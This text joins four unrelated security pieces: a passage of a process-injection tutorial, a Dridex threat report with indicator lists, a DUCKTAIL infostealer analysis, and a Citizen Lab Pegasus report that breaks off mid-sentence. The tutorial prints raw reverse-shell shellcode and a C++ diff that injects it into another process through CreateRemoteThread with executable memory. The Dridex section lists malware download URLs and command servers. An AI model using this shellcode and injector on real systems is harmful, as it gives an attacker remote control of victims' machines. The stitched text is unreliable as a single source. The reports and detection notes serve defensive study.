"\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89" "\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5" "\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba" "\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\x49\xff\xce\x75\xe5" "\x68\xf0\xb5\xa2\x56\xff\xd5\x48\x83\xec\x10\x48\x89\xe2\x4d" "\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f" "\xff\xd5\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00" "\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4" "\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89" "\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5" "\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xe1\x41\xff\xe7"; ``` ## Modifying DLL Code to Support Shellcode The code is almost similar to the codebase of the DLL; there are some tweaks to it. ```cpp INT main(INT argc, LPSTR argv[]) { ... + BYTE buf[] = {}; // add the shellcode here - if (argc < 3) { + if (argc < 2) { - std::cerr << "Usage: " << argv[0] << " PID /path/to/dll\n"; + std::cerr << "Usage: " << argv[0] << " PID\n"; ... - LPVOID lpBuffer = VirtualAllocEx(hProcess, nullptr, 1 << 12, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + LPVOID lpBuffer = VirtualAllocEx(hProcess, nullptr, 1 << 12, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); ... - if (!WriteProcessMemory(hProcess, lpBaseAddress, (LPCVOID)argv[2], strlen(argv[2]), nullptr)) { + if (!WriteProcessMemory(hProcess, lpBuffer, (LPCVOID)shellcode, 449, nullptr)) { ... - HMODULE hKernel32 = GetModuleHandleA("Kernel32"); - if (hKernel32 == NULL) { - VirtualFreeEx(hProcess, lpBaseAddress, 0x0, MEM_RELEASE); - lpBaseAddress = nullptr; - CloseHandle(hProcess); - hProcess = NULL; - PrintError("GetModuleHandleA()", TRUE); - return 0x0; - } - FARPROC pLoadLibraryA = GetProcAddress(hKernel32, "LoadLibraryA"); - HANDLE hThread = CreateRemoteThread(hProcess, nullptr, NULL, (LPTHREAD_START_ROUTINE)pLoadLibraryA, lpBaseAddress, NULL, nullptr); + HANDLE hThread = CreateRemoteThread(hProcess, nullptr, NULL, (LPTHREAD_START_ROUTINE)lpBuffer, NULL, NULL, nullptr); } ``` All the changes I have shown above are explained below: 1. Write the shellcode in the memory location of the main function to access it later while writing in the remote process using `WriteProcessMemory`. 2. Allocate the page with RWX permission because the shellcode contains raw executable instructions that will be executed as soon as the thread is spawned. 3. Copy the contents of the shellcode into the memory of the remote process with the size of the payload retrieved from Metasploit. 4. Remove all the code for getting the base address of the `LoadLibraryA` function and spawn the thread with the base address of the shellcode in the remote process memory. ## Running the Shellcode Exploit Now you have to pass only the process id of the target process to get the reverse meterpreter shell on the attacker host. Before running the code, you can see there is only one thread (aka main thread) running in the Notepad process. After executing the code, there are multiple threads created in the process, one of which is the one we have created via `CreateRemoteThread` and others are created by the second stage meterpreter shell. ## How to Detect this Technique As I already told, this is one of the oldest techniques and can be easily detected by the endpoint detection mechanisms and antiviruses. Here is a catch on how it does with common sense: Usually, the process creates threads into its own context and uses `memcpy` or `strcpy` functions to perform copy operations on the memory. If a process is importing the functions, it can be retrieved from the Import Address Table. So simply flag the binary as malicious if you find these functions: `CreateRemoteThread`, `OpenProcess`, `VirtualAllocEx`, and `WriteProcessMemory`. Since the legit program can also use `LoadLibrary` to map the required DLLs at runtime, therefore this was ignored to prevent false positives. Additionally, you can perform the Windows API hooking on the above-mentioned functions to check when they are being called. Based on the order of execution, you can then decide whether or not to flag the process and kill it.
# Stopping Serial Killer: Catching the Next Strike **Brief** When we look at a prevalent malware family, we give credit to its authors regarding the established malicious infrastructure. New malicious activity is flowing smoothly, command-and-control servers appear, everything works like Swiss watch. Are there any weak points in such a construction? To answer this question we may think about a race car. It’s a masterpiece crafted for maximum speed; however, the more speed it has, the less chances it has to make a sharp turn. Malware infrastructure has the same weakness of inertia. When every joint works fine, you should have a strong reason to change something in it. We can use it for our benefit just like movie detectives do. Take a city map, mark the spots of previous crimes ─ and you will likely understand the pattern and even get a probable place of next crime activity; it will likely follow the determined template. In this research, we show how to transform these actions to the world of malware. We take one of the most prevalent contemporary botnets called Dridex, mark its previous crime scenes, build the map and draw conclusions helping us to catch the next strike. We show evidence of success of such an approach measured in strict numbers and explain how to use this idea in other real-world cases. ## Introduction The Dridex Banking Trojan first appeared in 2014 and is still one of the most prevalent malware families. In March 2020, Dridex topped the list of most wanted malware. Dridex was created by a cyber-crime group called “Evil Corp” which has caused an estimated damage of $100 million to the banking system worldwide. A lot of research has been issued already covering different aspects of the malware details and how the cyber-crime group functions. In this article, we provide a summary of key details known about Dridex to date. We explore the pre-history of Dridex development, give an overview and show its key technical features and methods of spreading. We explain how we can intercept this malware at the earliest stages of the infection chain. We also provide graphs that show evidence of the success of our approach and how our customers are protected against this malware. ## Background Dridex has a famous lineage. Let’s take a step back in history to find out more about the time period when its earliest version appeared. The key names in this story: - **Evgeniy Bogachev** ─ Creator of the infamous ZeuS malware. - **Maksim Yakubets** ─ Alleged leader of Evil Corp cyber-crime group which is responsible for Dridex operations. ### Pre-Dridex era – It all starts with ZeuS Zeus is a Trojan Horse malware. Its capabilities include turning an infected machine into a botnet node, stealing banking credentials, downloading and executing separate malicious modules. The members of the cyber-crime group attempted to steal around 220 million USD worldwide utilizing ZeuS according to FBI investigation. The timeline below shows key points in ZeuS evolution: When ZeuS source code was leaked in 2011, various branches of this malware started to appear. It was very popular malware and gave rise to lots of different malware branches. ZeuS versions may be in a ZeuS online museum. At the time of this writing, ZeuS was associated with 29 different malware families, featuring around 490 versions in total. In May 2014, the FBI issued a bulletin with description of Evgeniy Bogachev and the promised reward of 3 million USD “for information leading to the arrest and/or conviction.” ### Dridex era After the botnets of direct ZeuS successors were taken down, Dridex’s time came. This malware is a result of Bugat evolution (which appeared in 2010). Bugat v5 was recognized as Dridex in 2014. More names appear on the stage at this time: - **Andrey Ghinkul** (from Moldova) was allegedly one of the administrators behind Dridex botnets in 2015. - **Igor Turashev** was allegedly one of the administrators behind Dridex botnets as well. - **Denis Gusev** was one of the key investors behind EvilCorp. Dridex in turn gave rise to a number of ransomwares starting with Bitpaymer in 2017. This branch continued with DoppelPaymer, which was developed in 2019, and WastedLocker, which was developed in 2020. ### Recent past In 2019, Dridex had at least 14 active botnets, some of which had already been spotted previously, and others newly developed. Botnets are differentiated by their ID numbers. These are among the most active at this time: 10111, 10222, 10444, 40200, 40300. At the end of 2019, the FBI issued a bulletin with a description of the author of Dridex and a promised reward of 5 million USD (compared with 3 million USD previously for E. Bogachev). There is also evidence of Maksim’s luxurious lifestyle, undoubtedly due to income from his malicious activities. To date, Maksim Yakubets has not been apprehended by law enforcement. As mentioned previously, in 2020, Dridex topped the lists of the most prevalent malware families in the world. ## Infection chain Before we start the analysis of Dridex samples themselves, we want to understand the infrastructure behind the malware. How is it delivered? What are the targets? What is the initial detection rate of supporting files? We will find the answers to all of these questions below. ### Flow When the operators want to spread Dridex, they use established spambots from different cyber-crime groups to send malicious documents attached to handily crafted e-mails. At different times of the Dridex lifecycle, Necurs, Cutwail and Andromeda botnets have all been involved in spreading Dridex. When a user downloads and opens such a document (it may be Word or Excel), the embedded macros are launched with the aim of downloading and executing the Dridex payload. ### Targets Dridex targets different high-profile entities from various parts of the world: - U.S. bank accounts. - U.S. credit card companies. - U.S. financial investment corporations. - European bank accounts. - Governmental agencies in Saudi Arabia, Qatar, Oman. ### Lures To increase the successful rate at which Dridex is spread, malicious actors disguise their spam e-mails to look like legitimate ones. We can name examples of UPS, FedEx and DHL as companies whose logos and mailing style are used as bait in such e-mails. When the victim clicks the link, either the archive with the malicious document or the malicious document itself is opened. ### Initial detection rate When first seen in the wild, Dridex delivery files show a very low detection rate. The same is true for other delivery files. ### Loader and Payload The Dridex sample consists of the loader and the payload. We discuss key points of each part below. #### Anti-debug technique The Dridex loader utilizes the OutputDebugStringW function to make malware analysis more difficult. Different loaders produce different outputs (with the “Installing…” string being very popular) but the idea is the same everywhere: making a long loop that contains a lot of meaningless debug messages. #### Obfuscation The payload is heavily obfuscated; almost no function is called directly. Call resolutions are performed with the help of hash values identifying the library and the function it contains. All the functions important for key Dridex tasks are called this way. We used the Labeless tool to resolve obfuscated function calls. Strings in the malware are obfuscated using the RC4 algorithm and the decryption key stored inside the sample. #### Configuration The main point of interest inside the payload is its configuration. It contains the following important details: - Bot ID. - Number of C&C servers. - List of the C&C servers themselves. ### Network activity Dridex sends POST requests to the servers from the configuration to get further commands, waiting for 200 OK responses. Please note that these servers are not real C&C servers but rather proxies for connecting to the real ones. The information which is sent by the malware to the C&C servers contains the following data: - Computer name - Botnet ID number - Type of request - OS architecture - List of installed software This data is encrypted with the RC4 algorithm, the key for which is stored among encrypted strings inside the malware. There are at least 6 different types of request; among them are the following ones: - “list” – gets configuration - “bot” – receives bot module ## Putting IOCs together The earlier the infection is caught, the better the chances of mitigation. To catch the infection as quickly as possible while spending the minimum amount of resources, we want to focus on the initial delivery stage. However, detection is only one aspect. We may confidently say that something is malicious, but we also want to classify the threat. To do so, we have to be sure that this particular malware is indeed Dridex. Let’s take a look at the Dridex infection chain again and determine the different stages which we can use for its detection. At different stages of the Dridex infection, we can use the following indicators for its detection: 1. **1st stage, malicious documents:** - Hashes of the documents - Images inside documents - Internal structure of the document - Macros used inside 2. **2nd stage, servers:** - Domains - URLs 3. **3rd stage, loaders and payloads:** - Hashes of the samples - IP addresses in the configuration file Why are so many factors important? We have seen a correlation between infrastructures and indicators of Dridex and other prevalent malware families such as Emotet and Ursnif. Malicious documents share common indicators when used for the delivery of all the malware mentioned above. Some C2 servers – or to be precise, proxy servers – are used both by Dridex and Emotet, though ports and connection types are different. That’s why we have to analyze a lot of details before we draw a conclusion of what malware we’re dealing with. The more unique factors related to a particular botnet we have, the easier it is to say if another attack has the same patterns. The ideal way to classify malware is of course getting and analyzing the final payload: if it’s Dridex, then everything that was launched before it is classified as Dridex as well. However, it may take some time (sometimes a significant amount after the initial malicious document is obtained) before the result is known. We can do the classification faster, with high confidence, by analyzing all the indicators we get at the earliest stages of the infection chain. ## IP addresses to draw a map Another interesting note is utilizing the same network for downloading Dridex samples. We analyzed domains used for this purpose, resolved their IPs and discovered that quite a few of them reside in the same network 84.38.180.0/22 with less than 1024 addresses available in total. Network belongs to Russian ASN Selectel that rarely takes down the malicious content or spam. We saw the following IP addresses linked to Dridex domains in the 84.38.180.0/22 network (and other networks within the same ASN). Dates show the first time the Dridex domain pointed to the corresponding IPs: - **IPs** - 84.38.182.248 May 10 rokadorc.com - 84.38.183.77 June 17 juneusdousigninc.com - 84.38.182.236 June 22 marutoba.com - 84.38.183.213 terrasimonad.com - 84.38.181.195 June 28 caranatrium.com - 84.38.183.114 July 06 menodlap.com While this factor alone is not enough to identify Dridex, this is a good auxiliary detail to refer to when dealing with Dridex IOCs. ## Detection The graphs below show Dridex spikes on different dates when we caught the incoming threats at its earliest stages. It is crucial to be able to intercept Dridex infection as early as possible. In many cases, if the spam is not being sent for several days consecutively, like it was between July 6 and July 8, the botnet activity slows down the next day and we do not get as many IOC matches as during its spike. Given that new infections appear at around afternoon UTC+3, we have less than 12 hours to react to the incoming threat. Dridex operators updated the 1st stage of Dridex execution: they have added more URLs from where payload may be downloaded – as opposed to the single URL in the earliest versions of malicious documents. Now their number may be as high as 50 within the single document. We’re constantly monitoring this botnet and detecting its payload at different stages of execution. We hope this publication provided useful insights on different variants and methods to deal with this threat. We also believe that these methods may be applied when encountering other threats as well. ## Protection signatures - Banker.Win.Dridex.A - Banker.Win.Dridex.B - Banker.Win.Dridex.C - Banker.Win.Dridex.D - Banker.Win.Dridex.E - Banker.Win.Dridex.F - Banker.Win.Dridex.gl.H - Banker.Win.Dridex.J - Banker.Win.Dridex.K ## IOCs Below we list some of the indicators linked to Dridex. Please note that the list is not full by any means. ### Domains: - rokadorc.com - nrokadorc.com - juneusdousigninc.com - usdousigninc.com - marutoba.com - terrasimonad.com - enterassimonad.com - caranatrium.com - menodlap.com - turendong.com - madustag.com - fattnumdelordine.com - armomaq.com - caissefamilylaw.com - secretpath.xyz ### IP addresses: - 84.38.181.195 - 84.38.182.236 - 84.38.182.248 - 84.38.183.77 - 84.38.183.114 - 84.38.183.213 - 84.38.183.237 ### Dridex 1st layer proxy C&C servers: - 45.79.8.25:443 - 185.201.9.197:9443 - 217.160.78.166:4664 - 108.175.9.22:33443 - 51.38.124.206:443 - 207.180.230.218:3389 - 2.58.16.87:8443 - 45.177.120.36:691 - 52.114.132.73:443 - 192.232.251.32:443 - 162.144.41.190:443 - 40.122.160.14:443 - 67.213.75.205:443 ### URLs: - https://discuss.ojowa.com/themes/wowonder/javascript/tinymce/js/dkfjgbji.gif - https://sjoeberg.nu/a/jdfggo.rar - https://greatstr.com/webadmin/djfhgeh.pdf - https://axalta.grupojenrab.mx/wp-admin/ssfisjgniwerg.pdf - https://bombshellshow.me/wp-content/jdfggo.rar - https://amaimaging.net/wp-content/rjkthgowertgoiwe.zip - https://pharmacy.binarybizz.com/vendor/njdfhgeroig.rar - https://construtorahabite.com.br/wpadmin/rjkthgowertgoiwe.zip - https://drinkangola.com/wp-content/plugins/wordpress-seo/config/composer/dkfjgbji.gif - https://mcciorar.iglesiamcci.cl/njdfhgeroig.rar - https://eduserve.sezibwa.com/images/njdfhgeroig.rar - https://idklearningcentre.com.ng/wp/wp-content/plugins/jetpack/3rd-party/dkfjgbji.gif - https://agencia.fal.cl/wp-includes/njdfhgeroig.rar - https://sweepegy.com/djfhgeh.pdf - https://tallermecanicoyllantera.grupojenrab.mx/wp-admin/rjkthgowertgoiwe.zip - https://neocuboarquitetura.com.br/viewer/ssfisjgniwerg.pdf - https://vyvanse.co/auth14/zxc.zip - https://minsann.se/NewFolder/ad/style/theme/upload/84348fh34hf.pdf - https://admin.grandoceanvilla.com/pug/includes/css/84348fh34hf.pdf - https://glowtank.in/js/ssfisjgniwerg.pdf - https://leandrokblo.com/wp-content/plugins/w3-total-cache/ini/apache_conf/dkfjgbji.gif - https://medszoo.in/jdfggo.rar - https://properties.igpublica.com.br/excelPo/rjkthgowertgoiwe.zip - https://coomiponal.com/simulador/zxc.zip - https://inkrites.com/wp-content/themes/zerif-lite/ti-prevdem/img/84348fh34hf.pdf - https://manogyam.com/storage/njdfhgeroig.rar - https://radiantmso.com/wp-content/plugins/smart-slider-3/library/media/dkfjgbji.gif - https://etsp.org.pk/uploads/jdfggo.rar - https://tmpartners-gh.com/djfhgeh.pdf - https://heraldfashion.store/wp-admin/zxc.zip - https://danojowacollection.com/djfhgeh.pdf - https://leboudoirstquayportrieux.fr/image/ssfisjgniwerg.pdf - https://quiz.walkprints.com/wp-includes/js/tinymce/themes/inlite/84348fh34hf.pdf - https://siebuhr.com/pmosker/zxc.zip - https://karyagrafis.com/njdfhgeroig.rar - https://businessquest.com.my/schedule/jdfggo.rar - https://maisaquihost.com.br/teste/rjkthgowertgoiwe.zip - https://getsolar4zerodown.info/djfhgeh.pdf - https://emyhope.com/wp-content/plugins/jetpack/_inc/blocks/84348fh34hf.pdf - https://igpublica.com.br/asset/zxc.zip - https://speakerpedia.in/images/zxc.zip - https://timamollo.co.za/sitepro/jdfggo.rar - https://eb3tly.online/njdfhgeroig.rar ### Hashes (malicious documents): - 15d3edcf37b1e4d03a5c61c1c7752130a9899b978c94f80d8dabc45f416fc253 - 16b98e2156fb721a760cd3d4e5c1a8c18dee54f795c6d8624339e25c5e33c2b1 - 97defc4fa68d6d3d76226b2ab02c8c3c0544b4d035083057b52d101f5884cbf1 - 99842250e5da8f987227c22d864ea6552cbf176710cd5c45f430bc2765cbf534 - 9a54d7a8551641f3c77a6f2743890f30e5d5ed4854fcadb25fc1a45bf928cefb - a633110b7d2f045d88b43c95838372d556de7bf9d2543149b9e5a984f9377539 - cbbb3ffd6f20060d8176954afb0f26fb220a281fd0e49facd02be8f597f24645 - d3e9f6933d519b6bd1514ceaaa14df64722214c0c6c2a60a6924c92f284b3c08 - d77234374d79b24022c26ecdd16a684ae7e94efba502422d74852b0eddd4f1b4 - d943478cb08756734a766eb5da189eef45577c29d33cbd679976e5cb97f2c9f2 ### Hashes (malware samples): - 84d3573747fbdf7ca822fd5a48726484c8b617e74a920dc2a68dd039b8f576fd - a633e85176faf87dfa99e89e559e3be3f2854592a3adb9f6ea6aab88c06dd198 - ad4d2f9fcadce231e18e50de3bb58028ae13eaf76a9c085d0073230e0fa17a9e - b0699861417da2e3626eb78d62d305b7ca5e03f06e5e6bfd0eea99d64306495e - b5b71c61a29f80c667772f5d008789816e0c7a53193536fc660a6f72009b23de - b66a5d391335b6dc827225b6531f172151d8a87c7514de789bcaf1999b0645ff - c37accc1f995cb32235edbea877813109627eca4b209f060bee357489c6bb31b - c6de2ef240cdca97e8d5d6fdcfc7bfd8d5c81a47204d268bd08e4b963d66a64b - c8cca37f43f4aa66b4bfbf811931c57971d2f1571cfebbb7d24235c07e108f26 - cc33c8c4eb3588fdd48ddb081f77040283c2f6b8c37777f8202b858b64a5952b - d18d211cf75fbc048d785af92b76a1aa7a01e381313b1a5e66e9cf564cbe78d4 - f8c974a6572fd522a64d22da3bf36db7e912ccb700bd41623ed286f1e8b0e939 - fa61c3c9e2089deb3f2b40333f5ee0860177692c436c50b07eef85993a1dbfa9 - fcc0db0ce710f68915b4d73274d69bb5765012b02631bb737c66a32a9a708aab
# Introduction WithSecure Intelligence has been tracking an operation dubbed “DUCKTAIL” that targets individuals and organizations that operate on Facebook’s Business/Ads platform. The operation consists of a malware component, which performs information stealing as well as Facebook Business hijacking. Based upon analysis and gathered data, we have determined that the operation is conducted by a Vietnamese threat actor. Our investigation reveals that the threat actor has been actively developing and distributing malware linked to the DUCKTAIL operation since the latter half of 2021. Evidence suggests that the threat actor may have been active in the cybercriminal space as early as late 2018. The investigation conducted by WithSecure Intelligence and findings of this report primarily focus on the malware component of the operation. WithSecure cannot determine the success, or lack thereof, that the threat actor has had in circumventing Facebook's existing security features and hijacking businesses. However, the threat actor has continued to update and push out the malware in an attempt to improve its ability to bypass existing/new Facebook security features alongside other implemented features. The chain of evidence suggests that the threat actor’s motives are financially driven, similar to the SilentFade campaign that was discovered by Meta. # Malware Analysis ## Delivery Mechanism and Victimology Based on telemetry and investigation conducted by WithSecure, one approach employed by the threat actor is to scout for companies that operate on Facebook’s Business/Ads platform and directly target individuals within the company/business that might have high-level access to the Facebook Business. We have observed individuals with managerial, digital marketing, digital media, and human resources roles in companies to have been targeted. WithSecure Countercept Detection and Response team has identified instances where the malware was delivered to victims through LinkedIn. These tactics would increase the adversary’s chances of compromising the respective Facebook Business all the while flying under the radar. Some of the observed samples have been hosted on file or cloud hosting services, such as Dropbox, iCloud, and MediaFire. The malware was often delivered as an archive file which contained the malware executable alongside related images, documents, and video files. The content and filenames revealed how the threat actor tailored the filename based on the target’s locality. ## Usage of .NET Core Since late 2021, samples associated with the DUCKTAIL operation were exclusively written in .NET Core and were compiled using its single file feature. This feature bundles all dependent libraries and files into a single executable, including the main assembly. The usage of .NET Core and its single-file feature is not commonly seen in malware. Prior to this, the threat actor used the traditional .NET Framework. Based on our analysis, this transition alongside the utilization of the single file feature was done for the following reasons: - To create a self-contained binary that runs on all machines without the need for .NET runtime to be installed on the victim’s machine. - To allow for the usage of Telegram as a Command and Control (C&C) channel by embedding the Telegram.Bot client as well as any other external dependencies into a single executable. - To attempt to bypass detection signatures, as previous samples that were developed in .NET have had higher detection rates compared to the latest samples. ## Malware Capabilities ### Program Flow The malware’s logic can be broken down into several key components: - **Mutex creation and check**: To ensure only a single instance of the malware is running at any given time. - **Data storage**: To store and load previously stolen data from disk. The malware is configured to save all stolen information to disk in three scenarios: - When the logic related to Facebook information stealing and hijacking has completed. - When the process exits. - When the process crashes. - **Browser scanning**: Scans for installed browsers to identify cookie paths. - **General information stealing**: To steal other non-Facebook related information. ### Facebook Information Stealing and Business Hijacking The malware directly interacts with various Facebook endpoints from the victim’s machine using the Facebook session cookie to extract information from the victim’s Facebook account. It is worth noting that the user agent is used for requests made to Facebook endpoints, ensuring that the requests look like they are coming from the victim’s primary browser. ### Associated Business(es) The malware steals information from all businesses that are associated with the victim’s personal Facebook account. This includes: - Name - Verification status - Ad account limit - Pending users ### Associated Ad Account(s) The malware steals information from all Ad accounts that are associated with the victim’s personal Facebook account. This includes: - Name - ID - Account status - Ads payment cycle - Currency ## Exfiltration through Telegram Since late last year, the threat actor has shifted entirely to using Telegram as their C&C channel making use of the Telegram Bot functionality. Currently, the adversary only exfiltrates stolen information through the C&C channel and no commands are sent from the C&C to the victim’s machine other than potentially sending e-mail addresses for business hijacking purposes. # Recommendations and Protection ## Endpoint Detection and Response WithSecure Endpoint Detection and Response detects multiple stages of the attack lifecycle. This will generate a single incident with detailed detections. ## Endpoint Protection WithSecure Endpoint protection offers multiple detections that detect the malware and its behavior. Ensure that real-time protection as well as DeepGuard are enabled. You may run a full scan on your endpoint. ## Review Facebook Business Users Your Facebook Business administrator should review users added under Business Manager > Settings > People and revoke access for unknown users that were granted Admin access. # Appendices ## MITRE ATT&CK Techniques | TACTIC | TECHNIQUE ID | TECHNIQUE NAME | |----------------------|--------------|--------------------------------------------------| | Reconnaissance | T1591 | Gather Victim Org Information | | | T1589 | Gather Victim Identity Information | | | T1593.001 | Search Open Websites/Domains: Social Media | | Resource Development | T1586.001 | Compromise Accounts: Social Media Accounts | | | T1587.001 | Develop Capabilities: Malware | | | T1588.003 | Obtain Capabilities: Code Signing Certificates | | Initial Access | T1566 | Phishing | | Execution | T1204.002 | User Execution: Malicious File | | Credential Access | T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | | | T1539 | Steal Web Session Cookie | | Command and Control | T1102.002 | Web Service: Bidirectional Communication | | Exfiltration | T1567 | Exfiltration Over Web Service | ## Indicators of Compromise (IOCs) All IOCs can be found in WithSecure Lab’s GitHub. # Who We Are WithSecure™, formerly F-Secure Business, is cyber security's reliable partner. IT service providers, MSSPs, and businesses – along with the largest financial institutions, manufacturers, and thousands of the world's most advanced communications and technology providers – trust us for outcome-based cyber security that protects and enables their operations. Our AI-driven protection secures endpoints and cloud collaboration, and our intelligent detection and response are powered by experts who identify business risks by proactively hunting for threats and confronting live attacks. Our consultants partner with enterprises and tech challengers to build resilience through evidence-based security advice. With more than 30 years of experience in building technology that meets business objectives, we've built our portfolio to grow with our partners through flexible commercial models. WithSecure™ Corporation was founded in 1988 and is listed on NASDAQ OMX Helsinki Ltd.
# Breaking the News: New York Times Journalist Ben Hubbard Hacked with Pegasus after Reporting on Previous Hacking Attempts **Key Findings** New York Times journalist Ben Hubbard was repeatedly targeted with NSO Group’s Pegasus spyware over a three-year period from June 2018 to June 2021. The targeting took place while he was reporting on Saudi Arabia and writing a book about Saudi Crown Prince Mohammed bin Salman. The targeting resulted in Pegasus infections in July 2020 and June 2021. Notably, these infections occurred after Hubbard complained to NSO Group that he was targeted by the Saudi-linked KINGDOM Pegasus operator in June 2018. While we attribute the 2020 and 2021 infections to NSO Group’s Pegasus spyware with high confidence, we are not conclusively attributing this activity to a specific NSO Group customer at this time. However, we believe that the operator responsible for the 2021 hack is also responsible for the hacking of a Saudi activist in 2021. Some forensic artifacts that we connect to NSO Group are present on Hubbard’s device as early as April 2018, although we are unable to confirm whether this represents a genuine infection attempt or a feasibility test. A phone number belonging to Hubbard also reportedly appeared on the Pegasus Project list in July 2019. Unfortunately, forensic evidence is not available for this timeframe. ## 1. Background: NSO Group’s Zero-Click iPhone Hacking Capabilities Multiple reports indicate that NSO Group has used and demonstrated zero-click iPhone exploits since at least 2017. A Haaretz story cited a June 2017 zero-click iPhone demo to the Saudi Government, and a 2018 Motherboard article described a different zero-click iPhone demonstration. Meanwhile, in 2019, WhatsApp announced that NSO Group had been exploiting WhatsApp video calling functionality to conduct zero-click infections of Android devices. ### Winter 2019: iMessage Zero-Click Activity We first observed a Pegasus zero-click attack directed against an iPhone in December 2019 when we began running VPNs on the phones of potentially targeted users. We were not able to recover any logs from the targeted phone at that time, so we are unsure of the precise exploit used. ### Summer 2020: The KISMET Exploit (iOS 13.5.1 and iOS 13.7) This was followed by the KISMET zero-click exploit which NSO customers widely deployed starting in July 2020 against iOS 13.5.1 and later against iOS 13.7. The iOS 14 update apparently blocked exploitation of KISMET. ### 2021: The FORCEDENTRY Exploit (iOS 14.x until 14.7.1) NSO Group customers began using the FORCEDENTRY exploit as early as February 2021. NSO Group customers were continuing to deploy FORCEDENTRY against iPhones running iOS versions through 14.7.1 as of September 2021. We captured the FORCEDENTRY exploit and disclosed it to Apple in September 2021. Apple patched FORCEDENTRY in iOS 14.8, six days after our disclosure. Amnesty Tech also saw traces associated with this exploit during forensic analyses they performed as part of the Pegasus Project. ## 2. The 2021 Pegasus Hack of Ben Hubbard We conclude with high confidence that an iPhone belonging to Hubbard was successfully hacked with NSO Group’s Pegasus spyware on June 13, 2021, with the infection process starting around 15:45:20 GMT. ### Details from Hack of Saudi Activist We recovered the FORCEDENTRY exploit from a backup of a Saudi activist’s iPhone. The FORCEDENTRY exploit was delivered to the Saudi activist’s phone in 31 iMessage attachments sent from the iMessage account [EMAIL ADDRESS 1], based on an analysis of the activist’s phone logs, including their com.apple.identityservices.idstatuscache.plist file. The FORCEDENTRY exploit was used to deploy NSO Group’s Pegasus spyware onto the phone of the Saudi activist, and this process involved a file dropped into the Library/Caches folder. ### Similarities between Hubbard’s Phone and Phone of Saudi Activist Hubbard’s com.apple.identityservices.idstatuscache.plist file shows that the same iMessage account [EMAIL ADDRESS 1] communicated with his phone at June 13, 2021 15:45:20 GMT, about five minutes before a file was dropped in or deleted from the Library/Caches folder, and at least 41 iMessage attachments were deleted. Additionally, three items were deleted from Hubbard’s DataUsage.sqlite file, leaving a gap in the sequence of Z_PK values in the ZPROCESS table. The deleted items all had timestamps greater than June 9, 2021 11:56:46 GMT and less than June 16, 2021 8:46:17 GMT. Based on this pattern of facts, we conclude with high confidence that Hubbard’s iPhone was hacked with NSO Group’s Pegasus spyware on June 13, 2021 15:45:20 GMT. ## 3. The 2020 Pegasus Hack of Ben Hubbard We conclude with high confidence that an iPhone belonging to Hubbard was successfully hacked with NSO Group’s Pegasus spyware on July 12, 2020, with the infection process starting around 16:46:01 GMT. ### DataUsage.sqlite Artifact We found that Ben Hubbard’s DataUsage.sqlite file showed that process name bh was active on July 13, 2020 16:46:01. This process name is consistent with NSO Group’s Pegasus spyware, which uses the bh process name apparently as an abbreviation for “bridgehead,” which appears to be a term of art referring to an initial stage of a malicious payload. A subsequent backup of Hubbard’s phone taken in July 2021 (after the 2021 Pegasus hack of his phone) shows that this bh entry was deleted from DataUsage.sqlite, leaving a gap in the sequence of Z_PK values in the ZPROCESS table. We found that attachments for at least 13 iMessages were deleted at July 12, 2020 16:45:55, several seconds before the DataUsage.sqlite artifact, indicating iMessage as the likely vector for Pegasus in this case. NSO Group customers were widely deploying the KISMET zero-click iMessage exploit at this time. ### HIPPOCRENE FACTOR Present on Hubbard’s Phone Hubbard’s phone logs show a sign of Pegasus infection that we call the HIPPOCRENE FACTOR. A careful analysis of Hubbard’s logs indicates that the HIPPOCRENE FACTOR was introduced onto Hubbard’s phone sometime after January 29, 2020 and before December 14, 2020. We have attributed the HIPPOCRENE FACTOR to NSO Group’s Pegasus spyware with high confidence, though we are not describing additional technical details of the HIPPOCRENE FACTOR here, in order to maintain visibility into NSO Group’s spyware. ## 4. The 2018 Pegasus Artifacts on Hubbard’s Phone We conclude with high confidence that a Pegasus operator, KINGDOM, sent Hubbard SMS and WhatsApp messages in June 2018 containing links that, if clicked, would have infected his phone with NSO Group’s Pegasus spyware. We also noted that an Apple account that we believe is linked to Pegasus contacted Hubbard’s phone in April 2018, but we could not determine if this represented an infection attempt. ### An Odd Email Address is Looked Up The com.apple.identityservices.idstatuscache.plist files on Hubbard’s phones records that an NSO Group system likely reached out to Hubbard’s phone on April 4, 2018 using Apple’s Thumper cloud calling feature. The outreach was via an Apple account with the email address [EMAIL ADDRESS 2]. It is presently unclear if this outreach was a bona fide hacking attempt, or simply a targeted feasibility test to see whether Hubbard’s phone could have been hacked with Pegasus. Amnesty Tech observed that the presence of an unfamiliar email address looked up by the Thumper cloud calling feature was sometimes correlated with Pegasus hacking. ### KINGDOM Pegasus Messages from 2018 We previously documented that Hubbard received a Pegasus SMS on June 21, 2018 from KINGDOM, a Pegasus operator that we link to the Kingdom of Saudi Arabia with high confidence. Though NSO Group issued an off-the-record denial that the link sent to Hubbard was related to them, we still connect the link to NSO Group with high confidence. Hubbard’s phone also shows a KINGDOM Pegasus WhatsApp message sent on June 2, 2018 8:54:42 PM GMT. The message is largely identical to a Pegasus message targeted at an Amnesty International staffer in 2018. ## 5. Conclusion Hubbard was repeatedly subjected to targeted hacking with NSO Group’s Pegasus spyware. The hacking took place after the very public reporting in 2020 by Hubbard and the Citizen Lab that he had been a target. The case starkly illustrates the dissonance between NSO Group’s stated concerns for human rights and oversight, and the reality: it appears that no effective steps were taken by the company to prevent the repeated targeting of a prominent American journalist’s phone. The hacking of a New York Times reporter adds to a long list of documented cases of journalists being targeted or hacked using NSO Group’s Pegasus spyware: - In December 2020, the Citizen Lab published a report outlining how the personal phones belonging to 36 journalists, producers, anchors, and executives at Al Jazeera, and a personal phone of a journalist at 